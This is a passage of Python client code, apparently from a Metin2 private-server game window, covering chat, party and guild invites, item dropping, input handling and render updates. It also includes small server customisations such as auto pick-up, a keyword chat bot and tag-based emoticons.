		self.interface.OnChangeCurrentSkill(skillSlotNumber)

	## TargetBoard
	def SetPCTargetBoard(self, vid, name):
		self.targetBoard.Open(vid, name)
		
		if app.IsPressed(app.DIK_LCONTROL):
			
			if not player.IsSameEmpire(vid):
				return

			if player.IsMainCharacterIndex(vid):
				return		
			elif chr.INSTANCE_TYPE_BUILDING == chr.GetInstanceType(vid):
				return

			self.interface.OpenWhisperDialog(name)
			

	def RefreshTargetBoardByVID(self, vid):
		self.targetBoard.RefreshByVID(vid)

	def RefreshTargetBoardByName(self, name):
		self.targetBoard.RefreshByName(name)
		
	def __RefreshTargetBoard(self):
		self.targetBoard.Refresh()
		
	def SetHPTargetBoard(self, vid, hpPercentage):
		if vid != self.targetBoard.GetTargetVID():
			self.targetBoard.ResetTargetBoard()
			self.targetBoard.SetEnemyVID(vid)

		self.targetBoard.SetHP(hpPercentage)
		self.targetBoard.Show()

	def CloseTargetBoardIfDifferent(self, vid):
		if vid != self.targetBoard.GetTargetVID():
			self.targetBoard.Close()

	def CloseTargetBoard(self):
		self.targetBoard.Close()

	## View Equipment
	def OpenEquipmentDialog(self, vid):
		self.interface.OpenEquipmentDialog(vid)

	def SetEquipmentDialogItem(self, vid, slotIndex, vnum, count):
		self.interface.SetEquipmentDialogItem(vid, slotIndex, vnum, count)

	def SetEquipmentDialogSocket(self, vid, slotIndex, socketIndex, value):
		self.interface.SetEquipmentDialogSocket(vid, slotIndex, socketIndex, value)

	def SetEquipmentDialogAttr(self, vid, slotIndex, attrIndex, type, value):
		self.interface.SetEquipmentDialogAttr(vid, slotIndex, attrIndex, type, value)

	# SHOW_LOCAL_MAP_NAME
	def ShowMapName(self, mapName, x, y):

		if self.mapNameShower:
			self.mapNameShower.ShowMapName(mapName, x, y)

		if self.interface:
			self.interface.SetMapName(mapName)
	# END_OF_SHOW_LOCAL_MAP_NAME	

	def BINARY_OpenAtlasWindow(self):
		self.interface.BINARY_OpenAtlasWindow()

	## Chat
	def OnRecvWhisper(self, mode, name, line):
		if mode == chat.WHISPER_TYPE_GM:
			self.interface.RegisterGameMasterName(name)
		chat.AppendWhisper(mode, name, line)
		self.interface.RecvWhisper(name)

	def OnRecvWhisperSystemMessage(self, mode, name, line):
		chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, line)
		self.interface.RecvWhisper(name)

	def OnRecvWhisperError(self, mode, name, line):
		if localeInfo.WHISPER_ERROR.has_key(mode):
			chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, localeInfo.WHISPER_ERROR[mode](name))
		else:
			chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, "Whisper Unknown Error(mode=%d, name=%s)" % (mode, name))
		self.interface.RecvWhisper(name)

	def RecvWhisper(self, name):
		self.interface.RecvWhisper(name)

	def OnPickMoney(self, money):
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_PICK_MONEY % (money))

	def OnShopError(self, type):
		try:
			self.PopupMessage(localeInfo.SHOP_ERROR_DICT[type])
		except KeyError:
			self.PopupMessage(localeInfo.SHOP_ERROR_UNKNOWN % (type))

	def OnSafeBoxError(self):
		self.PopupMessage(localeInfo.SAFEBOX_ERROR)

	def OnFishingSuccess(self, isFish, fishName):
		chat.AppendChatWithDelay(chat.CHAT_TYPE_INFO, localeInfo.FISHING_SUCCESS(isFish, fishName), 2000)

	# ADD_FISHING_MESSAGE
	def OnFishingNotifyUnknown(self):
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_UNKNOWN)

	def OnFishingWrongPlace(self):
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_WRONG_PLACE)
	# END_OF_ADD_FISHING_MESSAGE

	def OnFishingNotify(self, isFish, fishName):
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_NOTIFY(isFish, fishName))

	def OnFishingFailure(self):
		chat.AppendChatWithDelay(chat.CHAT_TYPE_INFO, localeInfo.FISHING_FAILURE, 2000)

	def OnCannotPickItem(self):
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_CANNOT_PICK_ITEM)

	# MINING
	def OnCannotMining(self):
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_CANNOT_MINING)
	# END_OF_MINING

	def OnCannotUseSkill(self, vid, type):
		if localeInfo.USE_SKILL_ERROR_TAIL_DICT.has_key(type):
			textTail.RegisterInfoTail(vid, localeInfo.USE_SKILL_ERROR_TAIL_DICT[type])

		if localeInfo.USE_SKILL_ERROR_CHAT_DICT.has_key(type):
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.USE_SKILL_ERROR_CHAT_DICT[type])

	def	OnCannotShotError(self, vid, type):
		textTail.RegisterInfoTail(vid, localeInfo.SHOT_ERROR_TAIL_DICT.get(type, localeInfo.SHOT_ERROR_UNKNOWN % (type)))

	## PointReset
	def StartPointReset(self):
		self.interface.OpenPointResetDialog()

	# Shop
	def StartShop(self, vid):
		self.interface.OpenShopDialog(vid)
    
	
	#def StartShop(self, vid):
	#	if chr.IsNPC(vid):
	#		self.interface.OpenShopDialog(vid)
  
	def EndShop(self):
		self.interface.CloseShopDialog()

	def RefreshShop(self):
		self.interface.RefreshShopDialog()

	def SetShopSellingPrice(self, Price):
		pass

	def StartDice(self):
		self.interface.StartDice()

	def EndDice(self):
		self.interface.EndDice()

	def RefreshDice(self):
		self.interface.RefreshDice()
		
	def __DiceHasDone(self, myNumber, targetNumber):
		self.interface.AddDiceNumber(myNumber, targetNumber)		

	## Exchange
	def StartExchange(self):
		self.interface.StartExchange()

	def EndExchange(self):
		self.interface.EndExchange()

	def RefreshExchange(self):
		self.interface.RefreshExchange()

	## Party
	def RecvPartyInviteQuestion(self, leaderVID, leaderName):
		partyInviteQuestionDialog = uiCommon.QuestionDialog()
		partyInviteQuestionDialog.SetText(leaderName + localeInfo.PARTY_DO_YOU_JOIN)
		partyInviteQuestionDialog.SetAcceptEvent(lambda arg=True: self.AnswerPartyInvite(arg))
		partyInviteQuestionDialog.SetCancelEvent(lambda arg=False: self.AnswerPartyInvite(arg))
		partyInviteQuestionDialog.Open()
		partyInviteQuestionDialog.partyLeaderVID = leaderVID
		self.partyInviteQuestionDialog = partyInviteQuestionDialog

	def AnswerPartyInvite(self, answer):

		if not self.partyInviteQuestionDialog:
			return

		partyLeaderVID = self.partyInviteQuestionDialog.partyLeaderVID

		distance = player.GetCharacterDistance(partyLeaderVID)
		if distance < 0.0 or distance > 5000:
			answer = False

		net.SendPartyInviteAnswerPacket(partyLeaderVID, answer)

		self.partyInviteQuestionDialog.Close()
		self.partyInviteQuestionDialog = None

	def AddPartyMember(self, pid, name):
		self.interface.AddPartyMember(pid, name)

	def UpdatePartyMemberInfo(self, pid):
		self.interface.UpdatePartyMemberInfo(pid)

	def RemovePartyMember(self, pid):
		self.interface.RemovePartyMember(pid)
		self.__RefreshTargetBoard()

	def LinkPartyMember(self, pid, vid):
		self.interface.LinkPartyMember(pid, vid)

	def UnlinkPartyMember(self, pid):
		self.interface.UnlinkPartyMember(pid)

	def UnlinkAllPartyMember(self):
		self.interface.UnlinkAllPartyMember()

	def ExitParty(self):
		self.interface.ExitParty()
		self.RefreshTargetBoardByVID(self.targetBoard.GetTargetVID())

	def ChangePartyParameter(self, distributionMode):
		self.interface.ChangePartyParameter(distributionMode)

	## Messenger
	def OnMessengerAddFriendQuestion(self, name):
		messengerAddFriendQuestion = uiCommon.QuestionDialog2()
		messengerAddFriendQuestion.SetText1(localeInfo.MESSENGER_DO_YOU_ACCEPT_ADD_FRIEND_1 % (name))
		messengerAddFriendQuestion.SetText2(localeInfo.MESSENGER_DO_YOU_ACCEPT_ADD_FRIEND_2)
		messengerAddFriendQuestion.SetAcceptEvent(ui.__mem_func__(self.OnAcceptAddFriend))
		messengerAddFriendQuestion.SetCancelEvent(ui.__mem_func__(self.OnDenyAddFriend))
		messengerAddFriendQuestion.Open()
		messengerAddFriendQuestion.name = name
		self.messengerAddFriendQuestion = messengerAddFriendQuestion

	def OnAcceptAddFriend(self):
		name = self.messengerAddFriendQuestion.name
		net.SendChatPacket("/messenger_auth y " + name)
		self.OnCloseAddFriendQuestionDialog()
		return True

	def OnDenyAddFriend(self):
		name = self.messengerAddFriendQuestion.name
		net.SendChatPacket("/messenger_auth n " + name)
		self.OnCloseAddFriendQuestionDialog()
		return True

	def OnCloseAddFriendQuestionDialog(self):
		self.messengerAddFriendQuestion.Close()
		self.messengerAddFriendQuestion = None
		return True

	## SafeBox
	def OpenSafeboxWindow(self, size):
		self.interface.OpenSafeboxWindow(size)

	def RefreshSafebox(self):
		self.interface.RefreshSafebox()

	def RefreshSafeboxMoney(self):
		self.interface.RefreshSafeboxMoney()

	# ITEM_MALL
	def OpenMallWindow(self, size):
		self.interface.OpenMallWindow(size)

	def RefreshMall(self):
		self.interface.RefreshMall()
	# END_OF_ITEM_MALL

	## Guild
	def RecvGuildInviteQuestion(self, guildID, guildName):
		guildInviteQuestionDialog = uiCommon.QuestionDialog()
		guildInviteQuestionDialog.SetText(guildName + localeInfo.GUILD_DO_YOU_JOIN)
		guildInviteQuestionDialog.SetAcceptEvent(lambda arg=True: self.AnswerGuildInvite(arg))
		guildInviteQuestionDialog.SetCancelEvent(lambda arg=False: self.AnswerGuildInvite(arg))
		guildInviteQuestionDialog.Open()
		guildInviteQuestionDialog.guildID = guildID
		self.guildInviteQuestionDialog = guildInviteQuestionDialog

	def AnswerGuildInvite(self, answer):

		if not self.guildInviteQuestionDialog:
			return

		guildLeaderVID = self.guildInviteQuestionDialog.guildID
		net.SendGuildInviteAnswerPacket(guildLeaderVID, answer)

		self.guildInviteQuestionDialog.Close()
		self.guildInviteQuestionDialog = None

	
	def DeleteGuild(self):
		self.interface.DeleteGuild()

	## Clock
	def ShowClock(self, second):
		self.interface.ShowClock(second)

	def HideClock(self):
		self.interface.HideClock()

	## Emotion
	def BINARY_ActEmotion(self, emotionIndex):
		if self.interface.wndCharacter:
			self.interface.wndCharacter.ActEmotion(emotionIndex)

	###############################################################################################
	###############################################################################################
	## Keyboard Functions

	def CheckFocus(self):
		if False == self.IsFocus():
			if True == self.interface.IsOpenChat():
				self.interface.ToggleChat()

			self.SetFocus()

	def SaveScreen(self):
		print "save screen"

		# SCREENSHOT_CWDSAVE
		if SCREENSHOT_CWDSAVE:
			if not os.path.exists(os.getcwd()+os.sep+"screenshot"):
				os.mkdir(os.getcwd()+os.sep+"screenshot")

			(succeeded, name) = grp.SaveScreenShotToPath(os.getcwd()+os.sep+"screenshot"+os.sep)
		elif SCREENSHOT_DIR:
			(succeeded, name) = grp.SaveScreenShot(SCREENSHOT_DIR)
		else:
			(succeeded, name) = grp.SaveScreenShot()
		# END_OF_SCREENSHOT_CWDSAVE

		if succeeded:
			pass
			"""
			chat.AppendChat(chat.CHAT_TYPE_INFO, name + localeInfo.SCREENSHOT_SAVE1)
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.SCREENSHOT_SAVE2)
			"""
		else:
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.SCREENSHOT_SAVE_FAILURE)

	def ShowConsole(self):
		if debugInfo.IsDebugMode() or True == self.consoleEnable:
			player.EndKeyWalkingImmediately()
			self.console.OpenWindow()

	def ShowName(self):
		self.ShowNameFlag = True
		self.playerGauge.EnableShowAlways()
		player.SetQuickPage(self.quickSlotPageIndex+1)

	# ADD_ALWAYS_SHOW_NAME
	def __IsShowName(self):

		if systemSetting.IsAlwaysShowName():
			return True

		if self.ShowNameFlag:
			return True

		return False
	# END_OF_ADD_ALWAYS_SHOW_NAME
	
	def HideName(self):
		self.ShowNameFlag = False
		self.playerGauge.DisableShowAlways()
		player.SetQuickPage(self.quickSlotPageIndex)

	def ShowMouseImage(self):
		self.interface.ShowMouseImage()

	def HideMouseImage(self):
		self.interface.HideMouseImage()

	def StartAttack(self):
		player.SetAttackKeyState(True)

	def EndAttack(self):
		player.SetAttackKeyState(False)

	def MoveUp(self):
		player.SetSingleDIKKeyState(app.DIK_UP, True)

	def MoveDown(self):
		player.SetSingleDIKKeyState(app.DIK_DOWN, True)

	def MoveLeft(self):
		player.SetSingleDIKKeyState(app.DIK_LEFT, True)

	def MoveRight(self):
		player.SetSingleDIKKeyState(app.DIK_RIGHT, True)

	def StopUp(self):
		player.SetSingleDIKKeyState(app.DIK_UP, False)

	def StopDown(self):
		player.SetSingleDIKKeyState(app.DIK_DOWN, False)

	def StopLeft(self):
		player.SetSingleDIKKeyState(app.DIK_LEFT, False)

	def StopRight(self):
		player.SetSingleDIKKeyState(app.DIK_RIGHT, False)

	def PickUpItem(self):
		player.PickCloseItem()

	###############################################################################################
	###############################################################################################
	## Event Handler

	def OnKeyDown(self, key):
		if self.interface.wndWeb and self.interface.wndWeb.IsShow():
			return

		constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)

		try:
			self.onPressKeyDict[key]()
		except KeyError:
			pass
		except:
			raise

		return True

	def OnKeyUp(self, key):
		try:
			self.onClickKeyDict[key]()
		except KeyError:
			pass
		except:
			raise

		return True

	def OnMouseLeftButtonDown(self):
		if self.interface.BUILD_OnMouseLeftButtonDown():
			return

		if mouseModule.mouseController.isAttached():
			self.CheckFocus()
		else:
			hyperlink = ui.GetHyperlink()
			if hyperlink:
				return
			else:
				self.CheckFocus()
				player.SetMouseState(player.MBT_LEFT, player.MBS_PRESS);

		return True

	def OnMouseLeftButtonUp(self):

		if self.interface.BUILD_OnMouseLeftButtonUp():
			return

		if mouseModule.mouseController.isAttached():

			attachedType = mouseModule.mouseController.GetAttachedType()
			attachedItemIndex = mouseModule.mouseController.GetAttachedItemIndex()
			attachedItemSlotPos = mouseModule.mouseController.GetAttachedSlotNumber()
			attachedItemCount = mouseModule.mouseController.GetAttachedItemCount()

			## QuickSlot
			if player.SLOT_TYPE_QUICK_SLOT == attachedType:
				player.RequestDeleteGlobalQuickSlot(attachedItemSlotPos)

			## Inventory
			elif player.SLOT_TYPE_INVENTORY == attachedType:

				if player.ITEM_MONEY == attachedItemIndex:
					self.__PutMoney(attachedType, attachedItemCount, self.PickingCharacterIndex)
				else:
					self.__PutItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, self.PickingCharacterIndex)

			## DragonSoul
			elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
				self.__PutItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, self.PickingCharacterIndex)

			mouseModule.mouseController.DeattachObject()

		else:
			hyperlink = ui.GetHyperlink()
			if hyperlink:
				if app.IsPressed(app.DIK_LALT):
					link = chat.GetLinkFromHyperlink(hyperlink)
					ime.PasteString(link)
				else:
					self.interface.MakeHyperlinkTooltip(hyperlink)
				return
			else:
				player.SetMouseState(player.MBT_LEFT, player.MBS_CLICK)

		#player.EndMouseWalking()
		return True

	def __PutItem(self, attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, dstChrID):
		if player.SLOT_TYPE_INVENTORY == attachedType or player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
			attachedInvenType = player.SlotTypeToInvenType(attachedType)
			if True == chr.HasInstance(self.PickingCharacterIndex) and player.GetMainCharacterIndex() != dstChrID:
				if player.IsEquipmentSlot(attachedItemSlotPos) and player.SLOT_TYPE_DRAGON_SOUL_INVENTORY != attachedType:
					self.stream.popupWindow.Close()
					self.stream.popupWindow.Open(localeInfo.EXCHANGE_FAILURE_EQUIP_ITEM, 0, localeInfo.UI_OK)
				else:
					if chr.IsNPC(dstChrID):
						net.SendGiveItemPacket(dstChrID, attachedInvenType, attachedItemSlotPos, attachedItemCount)
					else:
						net.SendExchangeStartPacket(dstChrID)
						net.SendExchangeItemAddPacket(attachedInvenType, attachedItemSlotPos, 0)
			else:
				self.__DropItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount)

	def __PutMoney(self, attachedType, attachedMoney, dstChrID):
		if True == chr.HasInstance(dstChrID) and player.GetMainCharacterIndex() != dstChrID:
			net.SendExchangeStartPacket(dstChrID)
			net.SendExchangeElkAddPacket(attachedMoney)
		else:
			self.__DropMoney(attachedType, attachedMoney)

	def __DropMoney(self, attachedType, attachedMoney):
		# PRIVATESHOP_DISABLE_ITEM_DROP - 개인상점 열고 있는 동안 아이템 버림 방지
		if uiPrivateShopBuilder.IsBuildingPrivateShop():			
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
			return
		# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
		
		if attachedMoney>=1000:
			self.stream.popupWindow.Close()
			self.stream.popupWindow.Open(localeInfo.DROP_MONEY_FAILURE_1000_OVER, 0, localeInfo.UI_OK)
			return

		itemDropQuestionDialog = uiCommon.QuestionDialog()
		itemDropQuestionDialog.SetText(localeInfo.DO_YOU_DROP_MONEY % (attachedMoney))
		itemDropQuestionDialog.SetAcceptEvent(lambda arg=True: self.RequestDropItem(arg))
		itemDropQuestionDialog.SetCancelEvent(lambda arg=False: self.RequestDropItem(arg))
		itemDropQuestionDialog.Open()
		itemDropQuestionDialog.dropType = attachedType
		itemDropQuestionDialog.dropCount = attachedMoney
		itemDropQuestionDialog.dropNumber = player.ITEM_MONEY
		self.itemDropQuestionDialog = itemDropQuestionDialog

	def __DropItem(self, attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount):
		# PRIVATESHOP_DISABLE_ITEM_DROP - 개인상점 열고 있는 동안 아이템 버림 방지
		if uiPrivateShopBuilder.IsBuildingPrivateShop():			
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
			return
		# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
		
		if player.SLOT_TYPE_INVENTORY == attachedType and player.IsEquipmentSlot(attachedItemSlotPos):
			self.stream.popupWindow.Close()
			self.stream.popupWindow.Open(localeInfo.DROP_ITEM_FAILURE_EQUIP_ITEM, 0, localeInfo.UI_OK)

		else:
			if player.SLOT_TYPE_INVENTORY == attachedType:
				dropItemIndex = player.GetItemIndex(attachedItemSlotPos)

				item.SelectItem(dropItemIndex)
				dropItemName = item.GetItemName()

				## Question Text
				questionText = localeInfo.HOW_MANY_ITEM_DO_YOU_DROP(dropItemName, attachedItemCount)

				## Dialog
				itemDropQuestionDialog = uiCommon.QuestionDialogItem()
				itemDropQuestionDialog.SetText(questionText)
				itemDropQuestionDialog.SetAcceptEvent(lambda arg=True: self.RequestDropItem(arg))
				itemDropQuestionDialog.SetDestroyEvent(lambda arg=True: self.RequestDestroyItem(arg))
				itemDropQuestionDialog.SetCancelEvent(lambda arg=False: self.RequestDropItem(arg))
				itemDropQuestionDialog.Open()
				itemDropQuestionDialog.dropType = attachedType
				itemDropQuestionDialog.dropNumber = attachedItemSlotPos
				itemDropQuestionDialog.dropCount = attachedItemCount
				self.itemDropQuestionDialog = itemDropQuestionDialog

				constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(1)
			elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
				dropItemIndex = player.GetItemIndex(player.DRAGON_SOUL_INVENTORY, attachedItemSlotPos)

				item.SelectItem(dropItemIndex)
				dropItemName = item.GetItemName()

				## Question Text
				questionText = localeInfo.HOW_MANY_ITEM_DO_YOU_DROP(dropItemName, attachedItemCount)

				## Dialog
				itemDropQuestionDialog = uiCommon.QuestionDialog()
				itemDropQuestionDialog.SetText(questionText)
				itemDropQuestionDialog.SetAcceptEvent(lambda arg=True: self.RequestDropItem(arg))
				itemDropQuestionDialog.SetCancelEvent(lambda arg=False: self.RequestDropItem(arg))
				itemDropQuestionDialog.Open()
				itemDropQuestionDialog.dropType = attachedType
				itemDropQuestionDialog.dropNumber = attachedItemSlotPos
				itemDropQuestionDialog.dropCount = attachedItemCount
				self.itemDropQuestionDialog = itemDropQuestionDialog

				constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(1)

	def RequestDropItem(self, answer):
		if not self.itemDropQuestionDialog:
			return

		if answer:
			dropType = self.itemDropQuestionDialog.dropType
			dropCount = self.itemDropQuestionDialog.dropCount
			dropNumber = self.itemDropQuestionDialog.dropNumber

			if player.SLOT_TYPE_INVENTORY == dropType:
				if dropNumber == player.ITEM_MONEY:
					net.SendGoldDropPacketNew(dropCount)
					snd.PlaySound("sound/ui/money.wav")
				else:
					# PRIVATESHOP_DISABLE_ITEM_DROP
					self.__SendDropItemPacket(dropNumber, dropCount)
					# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
			elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == dropType:
					# PRIVATESHOP_DISABLE_ITEM_DROP
					self.__SendDropItemPacket(dropNumber, dropCount, player.DRAGON_SOUL_INVENTORY)
					# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP

		self.itemDropQuestionDialog.Close()
		self.itemDropQuestionDialog = None

		constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)
		
	def RequestDestroyItem(self, answer):
		if not self.itemDropQuestionDialog:
			return

		if answer:
			dropType = self.itemDropQuestionDialog.dropType
			dropNumber = self.itemDropQuestionDialog.dropNumber

			if player.SLOT_TYPE_INVENTORY == dropType:
				if dropNumber == player.ITEM_MONEY:
					return
				else:
					self.__SendDestroyItemPacket(dropNumber)

	
		self.itemDropQuestionDialog.Close()
		self.itemDropQuestionDialog = None

		constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)		

	def __SendDropItemPacket(self, itemVNum, itemCount, itemInvenType = player.INVENTORY):
		if uiPrivateShopBuilder.IsBuildingPrivateShop():
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
			return

		net.SendItemDropPacketNew(itemInvenType, itemVNum, itemCount)

	def __SendDestroyItemPacket(self, itemVNum, itemInvenType = player.INVENTORY):
		if uiPrivateShopBuilder.IsBuildingPrivateShop():
			chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
			return

		net.SendItemDestroyPacket(itemVNum)	

	def OnMouseRightButtonDown(self):

		self.CheckFocus()

		if True == mouseModule.mouseController.isAttached():
			mouseModule.mouseController.DeattachObject()

		else:
			player.SetMouseState(player.MBT_RIGHT, player.MBS_PRESS)

		return True

	def OnMouseRightButtonUp(self):
		if True == mouseModule.mouseController.isAttached():
			return True

		player.SetMouseState(player.MBT_RIGHT, player.MBS_CLICK)
		return True

	def OnMouseMiddleButtonDown(self):
		player.SetMouseMiddleButtonState(player.MBS_PRESS)

	def OnMouseMiddleButtonUp(self):
		player.SetMouseMiddleButtonState(player.MBS_CLICK)

	def OnUpdate(self):	
		gamemasta = player.GetName()
		app.UpdateGame()
		if app.ENABLE_TITLE_SYSTEM:		
			self.wndTitleSystem.OnUpdate()
		
		if self.mapNameShower.IsShow():
			self.mapNameShower.Update()

		if self.isShowDebugInfo:
			self.UpdateDebugInfo()

		if self.enableXMasBoom:
			self.__XMasBoom_Update()
#DnD Optiuni Suplimentare
		if 1 == constInfo.AUTO_PICK_UP:
			self.PickUpItem()
#DnD Optiuni Suplimentare END
#Bot
		if constInfo.QUESTION != "":
			for key in constInfo.ANSWER:
				if constInfo.QUESTION.find(key) != -1:
					if key == "spune" or key == "Spune":
						self.OnRecvWhisper(chat.WHISPER_TYPE_CHAT, constInfo.BOT_NAME, constInfo.BOT_NAME+": "+constInfo.QUESTION[6:])
					else:	
						self.OnRecvWhisper(chat.WHISPER_TYPE_CHAT, constInfo.BOT_NAME, constInfo.BOT_NAME+": "+constInfo.ANSWER[key])
					constInfo.QUESTION = ""
					return
					
			self.OnRecvWhisper(chat.WHISPER_TYPE_CHAT, constInfo.BOT_NAME, constInfo.BOT_NAME+": "+"Nu a fost gasit raspuns pentru acest mesaj.")
			constInfo.QUESTION = ""	
#Bot
#Fix multiopen Raff
		if constInfo.AAA == 1:
			chat.AppendChat(chat.CHAT_TYPE_INFO, "Fereastra de titluri este deschisa.")
			if self.wndTitleSystem == 1:
				return
			else:
				self.wndTitleSystem.Show()
				constInfo.AAA = 0
#Fix multiopen Raff
		self.interface.BUILD_OnUpdate()
		if app.GetGlobalTimeStamp() - self.lastupdate < 0:
			self.lastupdate = app.GetGlobalTimeStamp()
		if app.GetGlobalTimeStamp() - self.lastupdatee < 0:
			self.lastupdatee = app.GetGlobalTimeStamp()
		if gamemasta.find("[VIP]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(12)	
		if gamemasta.find("[Mister]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(13)
		if gamemasta.find("[Miss]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(14)
		if gamemasta.find("[Mod]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(15)
		if gamemasta.find("[YT]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(16)
		if gamemasta.find("[DN]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(17)
		if gamemasta.find("[TKO]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(18)
		if gamemasta.find("[KING]")!=-1:
			if self.lastupdate == 0:
				self.lastupdate = app.GetGlobalTimeStamp()
			if app.GetGlobalTimeStamp() - self.lastupdate >= 4.5:
				self.lastupdate = app.GetGlobalTimeStamp()
				net.SendEmoticon(19)

	def UpdateDebugInfo(self):
		#
		# 캐릭터 좌표 및 FPS 출력
		(x, y, z) = player.GetMainCharacterPosition()
		nUpdateTime = app.GetUpdateTime()
		nUpdateFPS = app.GetUpdateFPS()
		nRenderFPS = app.GetRenderFPS()
		nFaceCount = app.GetFaceCount()
		fFaceSpeed = app.GetFaceSpeed()
		nST=background.GetRenderShadowTime()
		(fAveRT, nCurRT) =  app.GetRenderTime()
		(iNum, fFogStart, fFogEnd, fFarCilp) = background.GetDistanceSetInfo()
		(iPatch, iSplat, fSplatRatio, sTextureNum) = background.GetRenderedSplatNum()
		if iPatch == 0:
			iPatch = 1

		#(dwRenderedThing, dwRenderedCRC) = background.GetRenderedGraphicThingInstanceNum()

		self.PrintCoord.SetText("Coordinate: %.2f %.2f %.2f ATM: %d" % (x, y, z, app.GetAvailableTextureMemory()/(1024*1024)))
		xMouse, yMouse = wndMgr.GetMousePosition()
		self.PrintMousePos.SetText("MousePosition: %d %d" % (xMouse, yMouse))			

		self.FrameRate.SetText("UFPS: %3d UT: %3d FS %.2f" % (nUpdateFPS, nUpdateTime, fFaceSpeed))

		if fAveRT>1.0:
			self.Pitch.SetText("RFPS: %3d RT:%.2f(%3d) FC: %d(%.2f) " % (nRenderFPS, fAveRT, nCurRT, nFaceCount, nFaceCount/fAveRT))

		self.Splat.SetText("PATCH: %d SPLAT: %d BAD(%.2f)" % (iPatch, iSplat, fSplatRatio))
		#self.Pitch.SetText("Pitch: %.2f" % (app.GetCameraPitch())
		#self.TextureNum.SetText("TN : %s" % (sTextureNum))
		#self.ObjectNum.SetText("GTI : %d, CRC : %d" % (dwRenderedThing, dwRenderedCRC))
		self.ViewDistance.SetText("Num : %d, FS : %f, FE : %f, FC : %f" % (iNum, fFogStart, fFogEnd, fFarCilp))

	def OnRender(self):
		app.RenderGame()
		
		if self.console.Console.collision:
			background.RenderCollision()
			chr.RenderCollision()

		(x, y) = app.GetCursorPosition()

		########################
		# Picking
		########################
		textTail.UpdateAllTextTail()

		if True == wndMgr.IsPickedWindow(self.hWnd):

			self.PickingCharacterIndex = chr.Pick()

			if -1 != self.PickingCharacterIndex:
				textTail.ShowCharacterTextTail(self.PickingCharacterIndex)
			if 0 != self.targetBoard.GetTargetVID():
				textTail.ShowCharacterTextTail(self.targetBoard.GetTargetVID())

			# ADD_ALWAYS_SHOW_NAME
			if not self.__IsShowName():
				self.PickingItemIndex = item.Pick()
				if -1 != self.PickingItemIndex:
					textTail.ShowItemTextTail(self.PickingItemIndex)
			# END_OF_ADD_ALWAYS_SHOW_NAME
			
		## Show all name in the range
		
		# ADD_ALWAYS_SHOW_NAME
		if self.__IsShowName():
			textTail.ShowAllTextTail()
			self.PickingItemIndex = textTail.Pick(x, y)
		# END_OF_ADD_ALWAYS_SHOW_NAME

		textTail.UpdateShowingTextTail()
		textTail.ArrangeTextTail()
		if -1 != self.PickingItemIndex:
			textTail.SelectItemName(self.PickingItemIndex)

		grp.PopState()
		grp.SetInterfaceRenderState()

		textTail.Render()
		textTail.HideAllTextTail()

	def OnPressEscapeKey(self):
		if app.TARGET == app.GetCursor():
